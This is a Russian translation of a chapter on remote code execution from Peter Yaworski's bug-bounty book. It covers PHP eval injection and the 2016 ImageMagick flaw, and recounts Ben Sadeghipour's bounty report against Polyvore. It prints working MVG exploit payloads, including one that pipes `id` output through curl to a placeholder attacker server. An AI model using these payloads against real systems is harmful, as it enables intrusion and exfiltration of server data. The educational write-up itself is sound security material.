Пятнадцатое: выполнение кода
Автор: Питер Яворски. Переводчик: Летающий дракон. Протокол: CC BY-NC-SA 4.0.
Описание
Выполнение удалённого кода — это внедрение и интерпретация кода уязвимым приложением. Обычно это происходит, когда приложение не проверяет или обрабатывает входные данные должным образом.
Рассмотрим следующий код:
$var = $_GET['page'];
eval($var);
Здесь уязвимое приложение может использовать URL index.php?page=1
. Однако если ввести index.php?page=1;phpinfo()
, приложение выполнит функцию phpinfo
и вернёт её содержимое.
Подобно этому, выполнение удалённого кода иногда используется для обозначения внедрения команд. OWASP различает эти два понятия. При внедрении команд уязвимое приложение выполняет команды на хост-системе. Это также происходит из-за недостаточной обработки и проверки пользовательского ввода, что приводит к передаче команд пользователя операционной системе.
Например, в PHP это может проявляться как передача пользовательского ввода функции system
.
Пример
ImageMagick — это пакет программного обеспечения, обычно используемый для обработки изображений, таких как обрезка и масштабирование. PHP imagick, Ruby rmagick и paperclip, а также NodeJs imagemagick используют его. В апреле 2016 года в библиотеке было обнаружено несколько уязвимостей, одна из которых позволяет выполнять удалённый код.
Проще говоря, ImageMagick не фильтрует должным образом имена файлов, которые ему передаются, и в конечном итоге использует их для вызова метода system
. Таким образом, злоумышленник может передать команду для выполнения, например, https://example.com"|ls "-la
, которая будет выполнена. Пример использования ImageMagick:
convert 'https://example.com"|ls "-la' out.png
Интересно, что ImageMagick определяет собственный синтаксис для файлов MVG (Magick Vectire Graphics). Поэтому злоумышленник может создать файл exploit.mvg
со следующим кодом:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
Этот код будет передан библиотеке, и если на сайте есть уязвимость, он будет выполнен и выведет список файлов в каталоге.
После изучения этого вопроса Бен Садегипур проверил, есть ли уязвимости на сайтах Yahoo acquisition и Polyvore. Как он описал в своей статье, Бен сначала протестировал уязвимость на своём локальном компьютере, чтобы убедиться, что файл mvg
работает правильно. Вот код, который он использовал:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`'
pop graphic-content
Здесь используется библиотека CURL для вызова SOMEIPADDRESS (замените на адрес вашего сервера). Если всё выполнено успешно, вы получите такой ответ:
Ответ сервера после тестирования ImageMagick Беном Садегипуром
Затем Бен просмотрел Polyvore, загрузил файл как изображение профиля и получил следующий ответ на сервере:
Ответ сервера Polyvore после тестирования ImageMagick Беном Садегипуром
Заключение
Чтение является важной частью успешного проникновения, включая чтение об уязвимостях программного обеспечения и распространённых уязвимостях, а также раскрытие информации (идентификатор CVE). Когда вы сталкиваетесь с сайтом без установленных обновлений безопасности, знание предыдущих уязвимостей может помочь вам. Здесь Yahoo уже исправила сервер, но не сделала это должным образом (я не могу найти объяснение того, что это значит). Однажды знание об уязвимости ImageMagick позволило Бену специально нацелиться на неё и получить награду в размере 2000 долларов.
Заключение
Удалённое выполнение кода, как и другие уязвимости, обычно возникает из-за отсутствия надлежащей проверки и обработки пользовательского ввода. В приведённом примере ImageMagick неправильно экранирует потенциально вредоносный контент. Вместе со знаниями Бена об этой уязвимости он смог специально искать и тестировать некоторые уязвимые сайты. Для поиска таких уязвимостей нет простого ответа. Следует обращать внимание на опубликованные CVE и учитывать программное обеспечение, используемое на сайтах, так как оно может быть устаревшим и содержать уязвимости.
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )